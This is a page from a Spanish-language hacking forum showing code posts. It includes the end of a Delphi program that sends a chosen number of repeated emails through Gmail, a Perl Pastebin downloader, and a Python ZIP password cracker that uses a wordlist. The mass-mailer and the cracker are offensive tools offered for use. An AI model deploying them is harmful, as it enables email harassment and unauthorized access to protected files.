  25.     sEdit1: TsEdit;
  26.     sLabel2: TsLabel;
  27.     sEdit2: TsEdit;
  28.     sGroupBox2: TsGroupBox;
  29.     sLabel4: TsLabel;
  30.     sEdit4: TsEdit;
  31.     sLabel5: TsLabel;
  32.     sEdit5: TsEdit;
  33.     sLabel6: TsLabel;
  34.     sEdit6: TsEdit;
  35.     sGroupBox3: TsGroupBox;
  36.     sMemo1: TsMemo;
  37.     sButton1: TsButton;
  38.     sStatusBar1: TsStatusBar;
  39.     PopupMenu1: TPopupMenu;
  40.     MediaPlayer1: TMediaPlayer;
  41.     N2: TMenuItem;
  42.     S2: TMenuItem;
  43.     procedure FormCreate(Sender: TObject);
  44.     procedure N2Click(Sender: TObject);
  45.     procedure S2Click(Sender: TObject);
  46.     procedure MediaPlayer1Notify(Sender: TObject);
  47.     procedure sButton1Click(Sender: TObject);
  48.  
  49.   private
  50.     { Private declarations }
  51.   public
  52.     { Public declarations }
  53.   end;
  54.  
  55. var
  56.   Form1: TForm1;
  57.  
  58. var
  59.   themenow: Boolean; { Global Variable }
  60.  
  61. implementation
  62.  
  63. {$R *.dfm}
  64.  
  65. procedure TForm1.FormCreate(Sender: TObject);
  66. begin
  67.  
  68.   sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  69.   sSkinManager1.SkinName := 'deep';
  70.   sSkinManager1.Active := True;
  71.  
  72.   MediaPlayer1.FileName := 'data/theme.mp3';
  73.   MediaPlayer1.Open;
  74.   themenow := True;
  75.   MediaPlayer1.Play;
  76.   MediaPlayer1.Notify := True;
  77. end;
  78.  
  79. procedure TForm1.MediaPlayer1Notify(Sender: TObject);
  80. begin
  81.   if (MediaPlayer1.NotifyValue = nvSuccessful) and themenow then
  82.   begin
  83.     MediaPlayer1.Play;
  84.     MediaPlayer1.Notify := True;
  85.   end;
  86. end;
  87.  
  88. procedure TForm1.N2Click(Sender: TObject);
  89. begin
  90.   themenow := True;
  91.   MediaPlayer1.Play;
  92.   MediaPlayer1.Notify := True;
  93. end;
  94.  
  95. procedure TForm1.S2Click(Sender: TObject);
  96. begin
  97.   themenow := false;
  98.   MediaPlayer1.Stop;
  99.   MediaPlayer1.Notify := True;
  100. end;
  101.  
  102. procedure enviate_esta(username, password, toto, subject, body: string);
  103. var
  104.   data: TIdMessage;
  105.   mensaje: TIdSMTP;
  106.  
  107. begin
  108.  
  109.   mensaje := TIdSMTP.Create(nil);
  110.  
  111.   data := TIdMessage.Create(nil);
  112.   data.From.Address := username;
  113.   data.Recipients.EMailAddresses := toto;
  114.   data.subject := subject;
  115.   data.body.Text := body;
  116.  
  117.   mensaje.Host := 'smtp.gmail.com';
  118.   mensaje.Port := 587;
  119.   mensaje.username := username;
  120.   mensaje.password := password;
  121.  
  122.   mensaje.Connect;
  123.   mensaje.Send(data);
  124.   mensaje.Disconnect;
  125.  
  126.   mensaje.Free;
  127.   data.Free;
  128.  
  129. end;
  130.  
  131. procedure TForm1.sButton1Click(Sender: TObject);
  132.  
  133. var
  134.   i: integer;
  135.   count: integer;
  136.   idasunto: string;
  137.  
  138. begin
  139.  
  140.   count := StrToInt(sEdit5.Text);
  141.  
  142.   For i := 1 to count do
  143.   begin
  144.  
  145.     if count > 1 then
  146.     begin
  147.       idasunto := '_' + IntToStr(i);
  148.     end;
  149.  
  150.     try
  151.       begin
  152.         sStatusBar1.Panels[0].Text := '[+] Sending Message Number ' + IntToStr
  153.           (i) + ' ...';
  154.         Form1.sStatusBar1.Update;
  155.  
  156.         enviate_esta(sEdit1.Text, sEdit2.Text, sEdit4.Text,
  157.           sEdit6.Text + idasunto, sMemo1.Text);
  158.       end;
  159.     except
  160.       begin
  161.         sStatusBar1.Panels[0].Text :=
  162.           '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';
  163.         Form1.sStatusBar1.Update;
  164.       end;
  165.  
  166.     end;
  167.  
  168.     sStatusBar1.Panels[0].Text := '[+] Finished';
  169.     Form1.sStatusBar1.Update;
  170.  
  171.   end;
  172.  
  173. end;
  174.  
  175. end.
  176.  
  177. // The End ?
  178.  

Si quieren bajar el programa lo pueden hacer de aca.
169  Programación / Scripting / [Perl] PasteBin Downloader 0.1 en: 20 Julio 2013, 23:58 pm
Un simple script en Perl para bajar codigos de pastebin.
Pueden bajar solo uno o hacer que el programa busque links de pastebin en una pagina y bajarlos a todos.

El codigo :

Código
  1. #!usr/bin/perl
  2. #PasteBin Downloader 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6. use URI::Split qw(uri_split);
  7. use HTML::LinkExtor;
  8.  
  9. my $nave = LWP::UserAgent->new;
  10. $nave->agent(
  11. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  12. );
  13. $nave->timeout(10);
  14.  
  15. my $se = "downloads_pastebin";
  16.  
  17. unless ( -d $se ) {
  18.     mkdir( $se, "777" );
  19. }
  20.  
  21. chdir $se;
  22.  
  23. print "\n-- == PasteBin Downloader 0.1 == --\n";
  24.  
  25. unless ( $ARGV[0] and $ARGV[1] ) {
  26.     print "\n[+] Sintax : $0 < -single / -page > <url>\n";
  27. }
  28. else {
  29.     print "\n[+] Searching ...\n";
  30.     if ( $ARGV[0] eq "-single" ) {
  31.         download_this( $ARGV[1] );
  32.     }
  33.     if ( $ARGV[0] eq "-page" ) {
  34.         download_all( $ARGV[1] );
  35.     }
  36. }
  37.  
  38. print "\n(C) Doddy Hackman 2013\n";
  39.  
  40. sub download_all {
  41.  
  42.     my $page = shift;
  43.  
  44.     my $code = toma($page);
  45.     chomp $code;
  46.  
  47.     my @links_all = repes( get_links($code) );
  48.  
  49.     for my $page_down (@links_all) {
  50.         download_this($page_down);
  51.     }
  52.  
  53. }
  54.  
  55. sub download_this {
  56.  
  57.     my $page   = shift;
  58.     my $titulo = "";
  59.     my $num    = "";
  60.  
  61.     print "\n[+] Checking : $page\n";
  62.  
  63.     my $code = toma($page);
  64.  
  65.     if ( $page =~ /http:\/\/(.*)\/(.*)/ ) {
  66.         $num = $2;
  67.  
  68.         if ( $code =~ /<div class="paste_box_line1" title="(.*)">/ ) {
  69.             $titulo = $1;
  70.  
  71.             print "[+] Downloading : http://pastebin.com/download.php?i=$num\n";
  72.  
  73.             if (
  74.                 download(
  75.                     "http://pastebin.com/download.php?i=$num",
  76.                     $titulo . ".txt"
  77.                 )
  78.               )
  79.             {
  80.                 print "[+] File Downloaded !\n";
  81.             }
  82.             else {
  83.                 print "[-] Error\n";
  84.             }
  85.  
  86.         }
  87.     }
  88.  
  89. }
  90.  
  91. sub download {
  92.  
  93.     if ( $nave->mirror( $_[0], $_[1] ) ) {
  94.         if ( -f $_[1] ) {
  95.             return true;
  96.         }
  97.     }
  98. }
  99.  
  100. sub repes {
  101.     my @limpio;
  102.     foreach $test (@_) {
  103.         push @limpio, $test unless $repe{$test}++;
  104.     }
  105.     return @limpio;
  106. }
  107.  
  108. sub toma {
  109.     return $nave->get( $_[0] )->content;
  110. }
  111.  
  112. sub get_links {
  113.  
  114.     $test = HTML::LinkExtor->new( \&agarrar )->parse( $_[0] );
  115.     return @links;
  116.  
  117.     sub agarrar {
  118.         my ( $a, %b ) = @_;
  119.         push( @links, values %b );
  120.     }
  121. }
  122.  
  123. #The End ?
  124.  
170  Programación / Scripting / [Python] ZIP Crack 0.1 en: 20 Julio 2013, 23:03 pm
Un simple script en Python para crackear archivos ZIP.

El codigo

Código
  1. #!usr/bin/python
  2. #ZIP Crack 0.1
  3. #Coded By Doddy H
  4.  
  5. import sys,zipfile
  6.  
  7. def head():
  8.  print "\n-- == ZIP Crack 0.1 == --\n"
  9.  
  10. def copyright():
  11.  print "\n(C) Doddy Hackman 2013\n"
  12.  
  13. def sintax():
  14.  print "\n[+] Sintax : "+sys.argv[0]+"<file> <wordlist>"
  15.  
  16. head()
  17.  
  18. if len(sys.argv) != 3 : 
  19.  sintax()
  20. else:
  21.  
  22.  try:
  23.   passwords = open(sys.argv[2], "r").readlines()
  24.  except	:
  25.   print "\n[-] Error opening file\n"
  26.  op = 0  
  27.  print "\n[+] Cracking ...\n"
  28.  for password in passwords:
  29.   password = password.replace("\r","").replace("\n","")
  30.   if op==1:
  31.    copyright()		
  32.    sys.exit(0)
  33.   try:
  34.    test = zipfile.ZipFile(sys.argv[1])
  35.    test.extractall(pwd=password)
  36.    print "[+] Zip Cracked : "+sys.argv[1]
  37.    print "[+] Password : "+password
  38.    op = 1
  39.   except:
  40.    pass
  41.  
  42.  print "[-] Password Not Found"
  43.  
  44. copyright()
  45.  
  46. #The End ?
  47.  
Páginas: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [17] 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ... 43
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines